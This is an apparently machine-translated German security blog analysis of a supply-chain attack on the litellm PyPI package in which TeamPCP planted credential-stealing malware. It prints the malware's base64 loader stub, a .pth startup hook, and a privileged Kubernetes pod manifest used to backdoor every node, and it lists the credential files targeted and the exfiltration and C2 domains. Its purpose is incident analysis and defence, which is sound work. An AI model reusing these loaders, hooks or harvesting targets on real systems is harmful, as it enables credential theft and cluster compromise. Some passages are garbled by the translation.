LiteLLM-Lieferkettenangriff: Wie TeamPCP KI-Infrastruktur manipulierte

Warum dies wichtig ist

Am 24. März 2026 wurde das beliebte Python-Paket veröffentlicht. litellm, ein universelles LLM-Proxy-Gateway, das von Tausenden von enterpriseEin Dienst zur Weiterleitung des Datenverkehrs zwischen Anwendungen und KI-Anbietern wie OpenAI, Anthropic, Google und AWS Bedrock wurde auf PyPI unbemerkt kompromittiert. Innerhalb von 13 Minuten wurden zwei manipulierte Versionen (1.82.7 und 1.82.8) veröffentlicht, die eine mehrstufige Schadsoftware enthielten. Diese stahl Zugangsdaten, exfiltrierte Cloud-Geheimnisse, verbreitete sich lateral in Kubernetes-Clustern und installierte eine persistente Hintertür mit der Möglichkeit zur Ausführung von Remote-Code.

Mit ca Täglich 3.6 Millionen Downloads Mit seinem tiefen Einsatz in cloudnativen KI-Infrastrukturen befindet sich litellm an der Schnittstelle all dessen, was moderne Angreifer begehren: API-Schlüssel für jeden wichtigen KI-Anbieter, Cloud-IAM-Anmeldeinformationen, Kubernetes-Geheimnisse und SSH-Schlüssel.

Der Kompromiss von Litellm war jedoch kein isoliertes Ereignis. Er war der Höhepunkt einer Fünf-Tage-Kampagne in fünf Ökosystemen durch einen Bedrohungsakteur, der als TeamPCP, eine Kampagne, die zunächst Sicherheitsscanner (Aqua Trivy, Checkmarx KICS) manipulierte und dann die gestohlenen Daten nutzte CI/CD Die Zugangsdaten wurden so an npm, OpenVSX und schließlich PyPI weitergegeben. Die Angreifer missbrauchten genau die Werkzeuge, auf die sich Unternehmen zum Schutz ihrer Lieferketten verlassen.

Dieser Angriff stellt einen Quantensprung in der Komplexität von Bedrohungen der Lieferkette dar. Die mehrstufige, systemübergreifende Vorgehensweise kompromittiert Sicherheitsmechanismen, um an wertvolle Güter zu gelangen. KI-Infrastruktur Dies spiegelt einen Planungs- und Betriebsreifegrad wider, der mit zunehmend standardisierten Angriffswerkzeugen einhergeht. Die Payloads wurden in Echtzeit iteriert (drei Payload-Varianten sind im Quellcode enthalten, darunter auskommentierte frühere Versionen), die C2-Infrastruktur wurde am Vortag des Angriffs registriert, und die Exfiltrationsdomänen wurden sorgfältig ausgewählt, um die Infrastruktur legitimer Anbieter nachzuahmen. Der systematisch umfassende Credential Harvester, der über 15 Kategorien abdeckt, darunter Nischenziele wie Cardano-Signaturschlüssel und WireGuard-Konfigurationen, deutet auf eine Gründlichkeit hin, die die KI-gestützte Malware-Entwicklung als entscheidenden Faktor für die Effektivität von Angriffen erscheinen lässt.

Geschichte

Datum (UTC)	Event
März 19	TeamPCP kompromittiert Aqua Trivy GitHub Action-Tags und ersetzt sie durch bösartigen Code, der Daten exfiltriert. CI/CD Geheimnisse aus nachgelagerten Repositories
März 21	Der Kompromiss erstreckt sich auf Checkmarx KICS und AST GitHub Actions unter Verwendung ähnlicher Techniken.
22. März, 06:35 Uhr	BerriAI veröffentlicht Litellm 1.82.6 (letzte saubere Version) ganz normal CI/CD pipeline das Trivy für Sicherheitsüberprüfungen verwendet
März 23	TeamPCP registriert models.litellm.cloud (Exfiltrationsdomäne). Gefährdet über 66 npm-Pakete und OpenVSX-Erweiterungen.
24. März, 10:39 Uhr	litellm 1.82.7 auf PyPI veröffentlicht -- Nutzdaten injiziert in `proxy_server.py` Im Modulbereich. Wird beim Import ausgeführt.
24. März, 10:52 Uhr	litellm 1.82.8 wurde 13 Minuten später veröffentlicht -- fügt hinzu `litellm_init.pth`, ein Python-Pfadkonfigurations-Hook, der bei jedem Start des Python-Interpreters ausgeführt wird, nicht nur bei litellm-Importen. Zeigt eine schnelle Nutzlastiteration.
24. März, ca. 16:00 Uhr	PyPI hat beide Versionen nach Meldungen aus der Community entfernt. Die Versionen wurden vollständig aus dem Index gelöscht (nicht nur entfernt), die CDN-Archive bleiben jedoch weiterhin zugänglich.

Belichtungszeit: ca. 5.5 Stunden. Während dieser Zeit pip install litellm, pip install --upgrade litellm, oder CI/CD pipeline Das Herunterladen der neuesten Version hätte die Nutzlast ausgeführt.

Wie die Schadsoftware eindrang: Die sich ausweitende Kompromittierung

Das litellm-Paket wurde nicht direkt kompromittiert. Der Angreifer gelangte über einen anderen Weg darauf. Zwei-Stufen-Lieferkettenangriff:

Aqua Trivy GitHub Action (compromised March 19)
    --> LiteLLM CI/CD pipeline runs Trivy without pinned version
        --> Malicious Trivy exfiltrates PYPI_PUBLISH token from GitHub Actions runner
            --> Attacker publishes poisoned litellm 1.82.7 and 1.82.8 directly to PyPI

LiteLLM's CI/CD pipeline Trivy wurde als Sicherheitsscanner eingesetzt – das Tool, das eigentlich Schwachstellen aufspüren sollte, diente selbst als Angriffsvektor. pipeline Trivy wurde durch ein veränderliches Tag anstatt durch ein angeheftetes Tag referenziert. commit SHA, die kompromittierte Aktion wurde automatisch ausgeführt. Die bösartige Trivy-Aktion exfiltrierte Umgebungsgeheimnisse, einschließlich der PYPI_PUBLISH token, das TeamPCP direkten Veröffentlichungszugriff auf das litellm PyPI-Projekt gewährt.

Diese Strategie, die Sicherheitsvorkehrungen zu kompromittieren, ist ein Kennzeichen der TeamPCP-Kampagne. Indem die Angreifer zunächst Sicherheitstools (Trivy, Checkmarx KICS) ins Visier nahmen, deaktivierten sie gleichzeitig die Erkennungsmechanismen und erlangten privilegierten Zugriff auf nachgelagerte Lieferketten.

Technische Analyse: Die Nutzlast

Injektionspunkte

Version 1.82.7 — Ausführung auf Modulebene in litellm/proxy/proxy_server.py (Zeile 128):

import subprocess, base64, sys, tempfile, os

b64_payload = "<~12KB base64 blob>"

with tempfile.TemporaryDirectory() as d:
    p = os.path.join(d, "p.py")
    with open(p, "wb") as f:
        f.write(base64.b64decode(b64_payload))
    subprocess.run([sys.executable, p])

Dieser Code befindet sich im Modulbereich zwischen einem Wörterbuchliteral und dem ursprünglichen showwarning() Funktion. Sie wird sofort ausgeführt, wenn litellm.proxy.proxy_server wird importiert – was bei jeder Nutzung der Proxy-Funktionalität von litellm geschieht.

Version 1.82.8 - Hinzugefügt litellm_init.pth (Python-Pfadkonfigurationsdatei):

import os, subprocess, sys; subprocess.Popen([sys.executable, "-c", "import base64; exec(base64.b64decode('...'))"], ...)

Python .pth Dateien in site-packages/ werden bei jedem Start des Interpreters verarbeitet, aber nur Zeilen, die mit beginnen import werden als Code ausgeführt. Der Angreifer nutzt dies aus, indem er die gesamte Nutzlast an eine einzige import Aussage: import os, subprocess, sys; subprocess.Popen(...)Dies ist weitaus aggressiver als die Injektion von proxy_server.py – sie wird selbst dann ausgeführt, wenn litellm nie importiert wurde, und zwar bei jedem Start eines Python-Prozesses. pyproject.toml wurde so geändert, dass diese Datei in die Distribution aufgenommen wird:

include = [
    { path = "litellm_init.pth", format = ["sdist", "wheel"] }
]

Version 1.82.8 hat somit zwei unabhängige AusführungspfadeDie Datei proxy_server.py (wird beim Import des litellm-Proxys ausgeführt) und die .pth-Datei (werden bei jedem Python-Start ausgeführt) sind Beispiele für solche Redundanzen. Diese Redundanz ist bemerkenswert, da sie die Erkennung oder Entfernung eines der beiden Pfade allein verhindert. Die Eskalation von der Ausführung beim Import zur Ausführung beim Systemstart nur 13 Minuten nach Version 1.82.7 deutet darauf hin, dass der Angreifer den Erfolg der Bereitstellung überwachte und schnell iterierte.

Phase 1: Umfassende Erfassung von Qualifikationsnachweisen

Das entschlüsselte innere Skript ist ein akribisches Abgreifen von Anmeldeinformationen. Es verwendet os.walk(), glob.glob(), subprocess.check_output()und direkte Dateilesevorgänge, um das gesamte System zu durchsuchen:

Kategorie	Targets
Systemrecon	`hostname`, `whoami`, `uname -a`, `ip addr`, `printenv`, `ip route`
SSH	`~/.ssh/id_rsa`, `id_ed25519`, `id_ecdsa`, `authorized_keys`, `known_hosts`, `config`; Hostschlüssel von `/etc/ssh/`
Cloud (AWS)	`~/.aws/credentials`, `~/.aws/config`; IMDS-Rollenanmeldeinformationen über `169.254.169.254`Geheimnismanager `ListSecrets`; SSM `DescribeParameters`
Cloud (GCP)	`~/.config/gcloud/` (rekursiv); `$GOOGLE_APPLICATION_CREDENTIALS`
Cloud (Azure)	`~/.azure/` (rekursiv); Umgebungsvariablen
Kubernetes	Dienstkonto-Tokens; `ca.crt`; Namensraum; `kubectl get secrets --all-namespaces`Alle Geheimnisse werden über die K8s-API übertragen.
Umgebungsdateien	`.env`, `.env.local`, `.env.production`, `.env.development`, `.env.staging` — rekursiv (Tiefe 6) durchsucht über `/home`, `/root`, `/opt`, `/srv`, `/var/www`, `/app`, `/data`, `/tmp`
Docker	`~/.docker/config.json`, `/kaniko/.docker/config.json`
Pakettoken	`~/.npmrc`, `~/.vault-token`, `~/.netrc`
Datenbanken	`~/.pgpass`, `~/.my.cnf`, `/etc/mysql/my.cnf`, `/etc/redis/redis.conf`MongoDB-Konfigurationen
TLS / SSL	Private Schlüssel von `/etc/ssl/private/`, Let's Encrypt-Zertifikate, alle `.pem`/`.key`/`.p12`/`.pfx` Dateien
Git	`~/.git-credentials`, `~/.gitconfig`
CI/CD	`terraform.tfvars`, `terraform.tfstate`, `.gitlab-ci.yml`, `Jenkinsfile`, `ansible.cfg`
Crypto-Geldbörsen	Bitcoin, Ethereum-Schlüsselspeicher, Solana-Schlüsselpaare (Validator, Vote, Staking, Faucet), Cardano-Signaturschlüssel, Litecoin, Dogecoin, Zcash, Dash, Ripple, Monero
Shell-Geschichte	`.bash_history`, `.zsh_history`, `.mysql_history`, `.psql_history`, `.rediscli_history`
Systemauthentifizierung	`/etc/passwd`, `/etc/shadow`, Authentifizierungsprotokolle (akzeptierte SSH-Sitzungen)
Webhook-/API-Schlüssel	Grep für Slack webhooksDiscord-WebhooksAPI-Schlüssel/Geheimnisse in Konfigurationsdateien
VPN	WireGuard-Konfigurationen von `/etc/wireguard/`

Der Funktionsumfang dieses Harvesters ist enzyklopädisch. Er zielt nicht nur auf Cloud-Zugangsdaten ab, sondern auch auf Kryptowährungs-Wallets, Datenbankpasswörter, VPN-Konfigurationen und CI/CD Geheimnisse – was darauf hindeutet, dass der Angreifer beabsichtigt, kompromittierte Systeme über verschiedene Wege zu monetarisieren.

Stufe 2: Verschlüsselte Exfiltration

Gestohlene Daten werden mithilfe eines hybriden Verschlüsselungsverfahrens verschlüsselt und exfiltriert:

AES-256-CBC Verschlüsselung aller gesammelten Daten mit einem zufälligen 32-Byte-Sitzungsschlüssel (via openssl enc)
RSA-4096 Verschlüsselung des Sitzungsschlüssels mithilfe des eingebetteten öffentlichen Schlüssels des Angreifers (OAEP-Padding, via openssl pkeyutl)
Beide Chiffretextdateien gebündelt als tpcp.tar.gz (Das tpcp Das Präfix „TeamPCP“ erscheint einheitlich in der gesamten Kampagne.
HTTPS POST an https://models.litellm.cloud/ und Content-Type: application/octet-stream

Die Domain models.litellm.cloud wurde am 23. März registriert – einen Tag vor dem Angriff – und ist so konzipiert, dass es sich in die legitime Litellm-Infrastruktur einfügt (das eigentliche Projekt verwendet …). litellm.aiSelbst ein netzwerkbewusster Verteidiger, der den ausgehenden Datenverkehr überprüft, könnte den Datenverkehr zu einem scheinbar eigenen Modellendpunkt von litellm nicht als Bedrohung kennzeichnen.

Phase 3: Persistente Hintertür (sysmon.py)

Die Payload installiert eine als Systemtelemetrie getarnte Abfrage-Hintertür:

Path: ~/.config/sysmon/sysmon.py
Service: sysmon.service (systemd-Benutzereinheit, bezeichnet als „System Telemetry Service“)
VerhaltenNach einer anfänglichen Ruhephase von 300 Sekunden werden Umfragen durchgeführt. https://checkmarx.zone/raw etwa alle 50 Minuten
AusführungLädt die vom C2 zurückgegebene URL herunter /tmp/pglog, macht es ausführbar (chmod 755), führt es in einer getrennten Sitzung aus
Statusverfolgung: /tmp/.pg_state verhindert das erneute Herunterladen derselben Nutzlast
Beharrlichkeit: Restart=always, RestartSec=10 — übersteht Abstürze und Neustarts

Die Domain checkmarx.zone ist ein Tippfehler von Checkmarx (dem Sicherheitsunternehmen bei checkmarx.comDie Schadsoftware wurde so konzipiert, dass SOC-Analysten bei der Überprüfung der Netzwerkprotokolle Datenverkehr zu einem scheinbar legitimen Sicherheitsanbieter feststellen. Dies ist eine bewusste Verschleierungstaktik, die mit der umfassenderen Strategie von TeamPCP übereinstimmt, sich hinter dem Branding von Sicherheitsanbietern zu verstecken.

Phase 3b: Laterale Bewegung in Kubernetes

Wenn das kompromittierte System über Anmeldeinformationen für ein Kubernetes-Dienstkonto verfügt, listet die Malware alle Clusterknoten auf und führt entsprechende Aktionen durch. privilegierte Kapseln jedem einzelnen:

pod_manifest = {
    'apiVersion': 'v1', 'kind': 'Pod',
    'metadata': {'name': f'node-setup-{node_name[:35]}', 'namespace': 'kube-system'},
    'spec': {
        'nodeName': node_name,
        'hostPID': True, 'hostNetwork': True,
        'tolerations': [{'operator': 'Exists'}],
        'containers': [{
            'name': 'setup',
            'image': 'alpine:latest',
            'command': ['sh', '-c', drop_cmd],
            'securityContext': {'privileged': True},
            'volumeMounts': [{'name': 'host', 'mountPath': '/host'}]
        }],
        'volumes': [{'name': 'host', 'hostPath': {'path': '/'}}],
        'restartPolicy': 'Never'
    }
}

Jede Kapsel:

Läuft als privilegiert und hostPID, hostNetworkund vollständiger Zugriff auf das Host-Dateisystem
Verwendung chroot /host um dasselbe zu installieren sysmon.py Hintertür im Root-Dateisystem des Hosts
Registriert es als systemd-Dienst und stellt so sicher, dass es auch nach dem Löschen des Pods erhalten bleibt.
Namens node-setup-* in England, kube-system Namespace soll als legitime Clusterinfrastruktur erscheinen

Dies bedeutet a einzelne kompromittierte CI/CD Ein Runner mit K8s-Zugriff könnte dazu führen, dass jeder Knoten im Cluster mit einer Hintertür versehen wird. — ein katastrophales Szenario für laterale Bewegungen in Organisationen, die litellm als Proxy in Kubernetes einsetzen.

Nutzlastentwicklung (Auskommentierte Varianten)

Der Quellcode in den Zeilen 131-132 enthält zwei auskommentierte frühere Payload-Varianten, die den Entwicklungsprozess des Angreifers offenlegen:

Alle drei Varianten dieselbe Exfiltrationsinfrastruktur teilen (models.litellm.cloud), RSA-4096-öffentlicher Schlüssel, AES-256-CBC + RSA-Hybridverschlüsselungs-Wrapper und tpcp.tar.gz Bündelbenennung
Frühere Varianten fügte hinzu ein RC4-Verschlüsselungsschicht Innerhalb des Datenerfassungsskripts werden die gesammelten Daten vor der äußeren AES+RSA-Verschlüsselung verschlüsselt. Die aktive Nutzlast (Zeile 130) wurde durch Entfernen dieser inneren RC4-Schicht vereinfacht.
Die früheren Varianten verwenden exec() und StringIO Erfassung, um den Collector im Prozess auszuführen, während die aktive Nutzlast verwendet wird subprocess.run() mit stdout-Umleitung – eine sauberere Trennung, die eine Beeinträchtigung des Hostprozesses vermeidet.
Alle drei Varianten zielen auf dieselben Anmeldeinformationskategorien und Erfassungspfade ab.
Die RC4-Taste in den früheren Varianten war eine provokante Beleidigung, die mit dem aufmerksamkeitsheischenden Verhalten des Akteurs auf Telegram übereinstimmte.

Dies deutet auf aktive Weiterentwicklung während der Operation hin. Der Angreifer vereinfachte den Verschlüsselungsstapel und verbesserte die Ausführungsisolation, während er die Datenerfassungsziele und die Exfiltrationsinfrastruktur stabil hielt.

Kompromissindikatoren (IOCs)

Netzwerk

Indikator	Typ	Zweck
`models.litellm.cloud`	Domain	Exfiltrationsendpunkt (HTTPS POST)
`checkmarx.zone`	Domain	C2-Abfrageendpunkt (HTTPS GET) `/raw`)

Hinweis: Externe Berichtslinks checkmarx.zone/static/checkmarx-util-1.0.4.tgz zur früheren KICS-Phase der TeamPCP-Kampagne. Diese URL wurde in den hier analysierten litellm-Payloads nicht gefunden.

Paket-Hashes

Reichen Sie das	SHA256
`litellm-1.82.7.tar.gz`	`8a2a05fd8bdc329c8a86d2d08229d167500c01ecad06e40477c49fb0096efdea`
`litellm-1.82.8.tar.gz`	`d39f4e7a218053cce976c91eacf184cf09a6960c731cc9d66d8e1a53406593a5`

Dateisystem

Indikator	Typ	Zweck
`~/.config/sysmon/sysmon.py`	Reichen Sie das	Persistentes Backdoor-Skript
`~/.config/systemd/user/sysmon.service`	Reichen Sie das	Systemd-Persistenzeinheit
`/tmp/pglog`	Reichen Sie das	Binärdatei der zweiten Stufe heruntergeladen
`/tmp/.pg_state`	Reichen Sie das	C2-Zustandsverfolgung
`litellm_init.pth` in `site-packages/`	Reichen Sie das	Python-Starthook (nur Version 1.82.8)
`tpcp.tar.gz`	Reichen Sie das	Verschlüsseltes Exfiltrationspaket

Kubernetes

Indikator	Typ	Zweck
`node-setup-*` Schoten in `kube-system`	Schote	Privilegierte seitliche Bewegungsgruppen
`sysmon.service` auf Clusterknoten	Service	Persistenz auf Hostebene durch Pod-Escape

Kryptografisch

Indikator	Details
RSA-4096-öffentlicher Schlüssel des Angreifers	SHA256-Fingerabdruck: `bc40e5e2c438032bac4dec2ad61eedd4e7c162a8b42004774f6e4330d8137ba8`In allen drei Payload-Varianten eingebettet; derselbe Schlüssel wird auch bei anderen TeamPCP-Operationen gemeldet.
`tpcp` Präfix in Artefakten	Namenskonvention für Bundles (`tpcp.tar.gz`) einheitlich über die gesamte Kampagne hinweg

Quellenangabe: TeamPCP

Der für diese Kampagne verantwortliche Bedrohungsakteur wird wie folgt verfolgt: TeamPCP, auch bekannt als PCPcat, Persy_PCP, ShellForce und DeadCatx3.

Bekannte Eigenschaften:

Unterhält Telegram-Kanäle bei @Persy_PCP , @teampcp wo sie Sicherheitsfirmen verhöhnten
Funktioniert in mehreren Ökosystemen (GitHub Actions, PyPI, npm, OpenVSX)
Verwendet anbieterspezifische Typosquat-Domains für jede Phase der Kampagne (z. B. checkmarx.zone für Checkmarx, models.litellm.cloud für litellm)
Einheitliche Infrastrukturmerkmale: gleiches RSA-Schlüsselpaar, tpcp.tar.gz Namenskonvention tpcp-docs-* GitHub-Repositories, die als Dead-Drop-Staging-Umgebung verwendet werden
Zielt auf Sicherheitstools als Einfallstore zu nachgelagerten Lieferketten

ZuschreibungssicherheitHoch. Der gemeinsam genutzte öffentliche RSA-Schlüssel, tpcp Die Benennung der Artefakte, die Überschneidungen in der C2-Infrastruktur und das operative Tempo während der fünftägigen Kampagne lassen die Kompromittierungen von Trivy, KICS, npm, OpenVSX und litellm stark auf denselben Akteur zurückführen.

MotivationVermutlich spielen finanzielle Motive (Diebstahl von Krypto-Wallets, Monetarisierung von Cloud-Zugangsdaten) in Verbindung mit der Erlangung von öffentlicher Bekanntheit (Verhöhnung in Telegram-Nachrichten) eine Rolle. Die Bandbreite der abgegriffenen Zugangsdaten – von AWS IAM über Solana-Validator-Schlüsselpaare bis hin zu WireGuard-Konfigurationen – deutet auf einen finanziell motivierten Akteur hin, der aus jedem Kompromittierungsfall den maximalen Gewinn erzielen möchte.

Mögliche KI-UnterstützungDer Credential Harvester arbeitet systematisch und umfassend – er deckt über 15 Kategorien ab, darunter auch Nischenziele wie Cardano-Signaturschlüssel, WireGuard-Konfigurationen und Kaniko-Docker-Zugangsdaten – und zwar in einer Weise, die mit KI-gestützter Enumeration konsistent ist. Die Geschwindigkeit der Payload-Iteration (drei Varianten mit unterschiedlichen Verschlüsselungsmethoden), die ökosystemübergreifende Koordination (fünf Ökosysteme in fünf Tagen) und die operative OPSEC (Domains, die sich als Anbieter ausgeben, hybride Verschlüsselung, als Telemetrie getarnte Systemd-Persistenz) deuten auf einen Durchsatz hin, der die KI-gestützte Entwicklung als Multiplikator widerspiegeln könnte. Diese Einschätzung ist spekulativ; erfahrene Anwender könnten einen ähnlichen Umfang auch ohne KI-Tools erreichen.

Neue TTPs und Techniken

1. Vergiftung der Lieferkette für Sicherheitswerkzeuge (Variante T1195.002)

Die Kompromittierung von Sicherheitsscannern (Trivy, KICS) als erster Schritt zum Erreichen nachgelagerter Ziele stellt eine neue Eskalationsstufe dar. Der Angreifer hat nicht nur eine Bibliothek kompromittiert, sondern die Werkzeuge, die Organisationen verwenden, um … entdecken Kompromittierte Bibliotheken. Dadurch entsteht ein blinder Fleck: Der Scanner, der den Schadcode erkennen sollte, ist selbst der Verbreitungsmechanismus.

2 Python `.pth` Dateipersistenz (T1546)

Das litellm_init.pth Die Technik in Version 1.82.8 ist besonders heimtückisch. Python .pth Dateien in site-packages/ werden bei jedem Start des Interpreters verarbeitet; jede Zeile, die mit import wird als Code ausgeführt. Durch Verkettung der Nutzlast mit einem einzelnen import Durch diese Aussage erreicht der Angreifer die Ausführung in jedem Python-Prozess – nicht nur, wenn litellm importiert wird. Das bedeutet, dass die Payload selbst dann ausgeführt wird, wenn litellm zwar installiert, aber nie verwendet wird, und dass sie auch nach einer Behebung des Kompromittierungsproblems erhalten bleibt. .py Dateien ohne Überprüfung .pth Dateien.

3. Kubernetes-Clusterweite laterale Bewegung durch Bereitstellung privilegierter Pods (T1610, T1611)

Die automatisierte Erstellung privilegierter Pods auf jedem Clusterknoten – mit hostPID, hostNetwork, Host-Dateisystem-Mount und chroot um Persistenz zu installieren — verkettet Container-Bereitstellung (T1610) mit Escape to Host (T1611), um eine einzelne kompromittierte Arbeitslast in eine vollständige Cluster-Kompromittierung zu verwandeln.

4. C2-Infrastruktur, die sich als Anbieter ausgibt

Die Verwendung von models.litellm.cloud (ahmt litellm nach) und checkmarx.zone (Imitiert Checkmarx) als C2/Exfil-Endpunkt ist darauf ausgelegt, die Netzwerküberwachung zu umgehen. SOC-Analysten, die den ausgehenden Datenverkehr überprüfen, würden HTTPS-Verbindungen zu scheinbar legitimen Anbieterdomänen feststellen.

5. Schnelle Nutzlastiteration im Flug

Die Veröffentlichung von Version 1.82.7 mit Ausführung während des Imports und 13 Minuten später von Version 1.82.8 mit Ausführung während des Systemstarts zeigt, dass der Angreifer die Schwachstelle in Echtzeit überwacht und angepasst hat. Die im Quellcode erhaltenen, auskommentierten Payload-Varianten (mit unterschiedlichen Verschlüsselungsmethoden) bestätigen die aktive Weiterentwicklung während des Angriffs.

Was kann getan werden

Dieser Angriff nutzt Vertrauen auf allen Ebenen aus: Vertrauen in Sicherheitstools, Vertrauen in Paketregistrierungen, Vertrauen in vertraut wirkende Domains, Vertrauen in CI/CD Automatisierung. Um sich davor zu schützen, müssen diese Vertrauensgrenzen gestärkt werden:

Für Verbraucher von verpackten Waren

Abhängigkeiten per Hashwert, nicht nur per Versionsnummer festlegen. pip install litellm==1.82.6 --hash=sha256:... hätte verhindert, dass die manipulierten Versionen installiert wurden, selbst wenn sie kurzzeitig als neueste Version angezeigt worden wären.
Sperrdateien verwenden. pip-compile, poetry.lock und uv.lock Erfassen exakter Versionen und Hashwerte. CI/CD Die Installation sollte über Sperrdateien erfolgen, nicht über dynamische Versionsspezifizierer.
Überwachen Sie auf .pth Dateien. Regelmäßige Prüfung site-packages/ für unerwartete .pth Dateien – sie werden bei jedem Python-Start ausgeführt und stellen einen unterschätzten Persistenzmechanismus dar.
Implementieren Sie Ausgangsnetzwerkkontrollen. Die Exfiltration nach models.litellm.cloud und C2-Umfrage checkmarx.zone Hätte durch eine auf Zulassungslisten basierende ausgehende Filterung in Produktionsumgebungen erkannt werden können.

Für Paketbetreuer

Pin CI/CD Aktionen von commit SHA, nicht Tag. LiteLLM's pipeline Trivy wurde ohne angeheftete Version verwendet. Wenn es darauf verwiesen hätte aquasecurity/trivy-action@<commit-sha> statt @latestDie kompromittierte Aktion wäre nicht ausgeführt worden.
Verwenden Sie kurzlebige, auf einen bestimmten Bereich beschränkte Veröffentlichungstoken. PyPI unterstützt Trusted Publishers (OIDC-basiert) und API-Token mit Gültigkeitsbereich. Die exfiltrierten Daten PYPI_PUBLISH Der Token sollte keinen dauerhaften, uneingeschränkten Veröffentlichungszugriff haben.
Aktivieren Sie die Zwei-Faktor-Authentifizierung auf PyPI. Für alle Wartungsmitarbeiter ist die Zwei-Faktor-Authentifizierung (2FA) verpflichtend und nach Möglichkeit sollten Hardware-Sicherheitsschlüssel verwendet werden.
Pakete signieren. Sigstore/PEP 740-Bescheinigungen ermöglichen es Verbrauchern, zu überprüfen, ob eine Verpackung von dem erwarteten Hersteller zusammengestellt wurde. CI/CD pipelinenicht durch einen Angreifer mit einem gestohlenen Token.

Für Plattformbetreiber (PyPI, npm, GitHub)

Anomale Veröffentlichungsmuster erkennen. Zwei neue Versionen, die im Abstand von 13 Minuten von einer anderen IP-Adresse oder einem anderen Token als üblich veröffentlicht werden, sollten eine Überprüfung oder einen automatisierten Scan auslösen, bevor das Paket installierbar wird.
Die Einführung vertrauenswürdiger Verlage beschleunigen. Die OIDC-basierte Veröffentlichung verknüpft Pakete mit spezifischen Repositories und Workflows, wodurch gestohlene Token außerhalb des ursprünglichen Kontextes nutzlos werden. CI/CD Kontext.
Implementieren Sie Malware-Scans zum Zeitpunkt der Veröffentlichung. Die Base64-dekodierte Nutzlast in proxy_server.py wäre zum Zeitpunkt der Veröffentlichung durch statische Analyse erkennbar.

Für das Ökosystem

Behandeln Sie Sicherheitstools wie kritische Infrastruktur. Trivy und Checkmarx KICS werden von Millionen von Menschen genutzt. pipelines. Ihre GitHub Actions sollten mit der gleichen Sorgfalt signiert, fixiert und überwacht werden wie die Pakete, die sie scannen.
Investieren Sie in Laufzeiterkennung. Statische Analysen allein können nicht jede Verschleierungstechnik aufdecken. Laufzeitüberwachung der Paketinstallation. hooksUnerwartete Netzwerkverbindungen und verdächtige Dateizugriffsmuster bieten einen mehrschichtigen Schutz.
Schnellere Weitergabe von Bedrohungsinformationen. Das 5.5-stündige Belichtungsfenster für litellm hätte durch eine schnellere herstellerübergreifende Koordination verkürzt werden können. Automatisierte Scan-Dienste wie Xygeni MEW, Socket und Snyk erkannten die Anomalie – der Engpass liegt in der manuellen Bestätigung und der Reaktionszeit der Registrierung.

Fazit

Die TeamPCP-Kampagne ist ein Wendepunkt für software supply chain securityIndem die Angreifer zunächst Sicherheitsscanner kompromittierten und diese als Sprungbrett zu einer hochwertigen KI-Infrastruktur nutzten, demonstrierten sie, dass die Lieferkette nur so stark ist wie ihre schwächste transitive Abhängigkeit, und diese Abhängigkeit könnte das Sicherheitstool sein, dem Sie vertrauen, um sich zu schützen.

Der Litellm-Kompromiss verdeutlicht insbesondere das wachsende Risiko für die KI-Infrastruktur. Da LLM-Proxy-Gateways immer mehr zum standard Muster für enterprise Bei der Implementierung von KI konzentrieren sie den Zugriff auf API-Schlüssel, Cloud-Zugangsdaten und sensible Daten in einer einzigen Komponente. Die Kompromittierung dieser Komponente ist der Generalschlüssel zum gesamten KI-System.

Organisationen, die litellm 1.82.7 oder 1.82.8 innerhalb des 5.5-Stunden-Fensters installiert haben, sollten dies als vollständigen Zugriffsdiebstahl betrachten: Alle Secrets auf betroffenen Systemen sollten rotiert und Kubernetes-Cluster überprüft werden. node-setup-* Schoten in kube-systemEntfernen Sie alle sysmon.service systemd-Einheiten und überprüfen Sie auf litellm_init.pth in Python site-packages/ Verzeichnisse. Benutzer des offiziellen Docker-Images (ghcr.io/berriai/litellm) waren nicht betroffen, da das Bild seine Abhängigkeiten beibehielt und während des Belichtungsfensters nicht neu aufgebaut wurde.

LiteLLM-Lieferkettenangriff: Wie TeamPCP KI-Infrastruktur manipulierte

Inhaltsverzeichnis

Must-Read-Beiträge

Neueste interessante Beiträge

Warum dies wichtig ist

Geschichte

Wie die Schadsoftware eindrang: Die sich ausweitende Kompromittierung

Technische Analyse: Die Nutzlast

Injektionspunkte

Phase 1: Umfassende Erfassung von Qualifikationsnachweisen

Stufe 2: Verschlüsselte Exfiltration

Phase 3: Persistente Hintertür (sysmon.py)

Phase 3b: Laterale Bewegung in Kubernetes

Nutzlastentwicklung (Auskommentierte Varianten)

Kompromissindikatoren (IOCs)

Netzwerk

Paket-Hashes

Dateisystem

Kubernetes

Kryptografisch

Quellenangabe: TeamPCP

Neue TTPs und Techniken

1. Vergiftung der Lieferkette für Sicherheitswerkzeuge (Variante T1195.002)

2 Python `.pth` Dateipersistenz (T1546)

3. Kubernetes-Clusterweite laterale Bewegung durch Bereitstellung privilegierter Pods (T1610, T1611)

4. C2-Infrastruktur, die sich als Anbieter ausgibt

5. Schnelle Nutzlastiteration im Flug

Was kann getan werden

Für Verbraucher von verpackten Waren

Für Paketbetreuer

Für Plattformbetreiber (PyPI, npm, GitHub)

Für das Ökosystem

Fazit

Über den Autor

Sichern Sie Ihre Softwareentwicklung und -bereitstellung

mit der Xygeni-Produktsuite

Produkte

Ressourcen

Unternehmen

Rechtliches

LiteLLM-Lieferkettenangriff: Wie TeamPCP KI-Infrastruktur manipulierte

Inhaltsverzeichnis

Must-Read-Beiträge

Neueste interessante Beiträge

Warum dies wichtig ist

Geschichte

Wie die Schadsoftware eindrang: Die sich ausweitende Kompromittierung

Technische Analyse: Die Nutzlast

Injektionspunkte

Phase 1: Umfassende Erfassung von Qualifikationsnachweisen

Stufe 2: Verschlüsselte Exfiltration

Phase 3: Persistente Hintertür (sysmon.py)

Phase 3b: Laterale Bewegung in Kubernetes

Nutzlastentwicklung (Auskommentierte Varianten)

Kompromissindikatoren (IOCs)

Netzwerk

Paket-Hashes

Dateisystem

Kubernetes

Kryptografisch

Quellenangabe: TeamPCP

Neue TTPs und Techniken

1. Vergiftung der Lieferkette für Sicherheitswerkzeuge (Variante T1195.002)

2 Python .pth Dateipersistenz (T1546)

3. Kubernetes-Clusterweite laterale Bewegung durch Bereitstellung privilegierter Pods (T1610, T1611)

4. C2-Infrastruktur, die sich als Anbieter ausgibt

5. Schnelle Nutzlastiteration im Flug

Was kann getan werden

Für Verbraucher von verpackten Waren

Für Paketbetreuer

Für Plattformbetreiber (PyPI, npm, GitHub)

Für das Ökosystem

Fazit

Über den Autor

Sichern Sie Ihre Softwareentwicklung und -bereitstellung

mit der Xygeni-Produktsuite

Produkte

Ressourcen

Unternehmen

Rechtliches

2 Python `.pth` Dateipersistenz (T1546)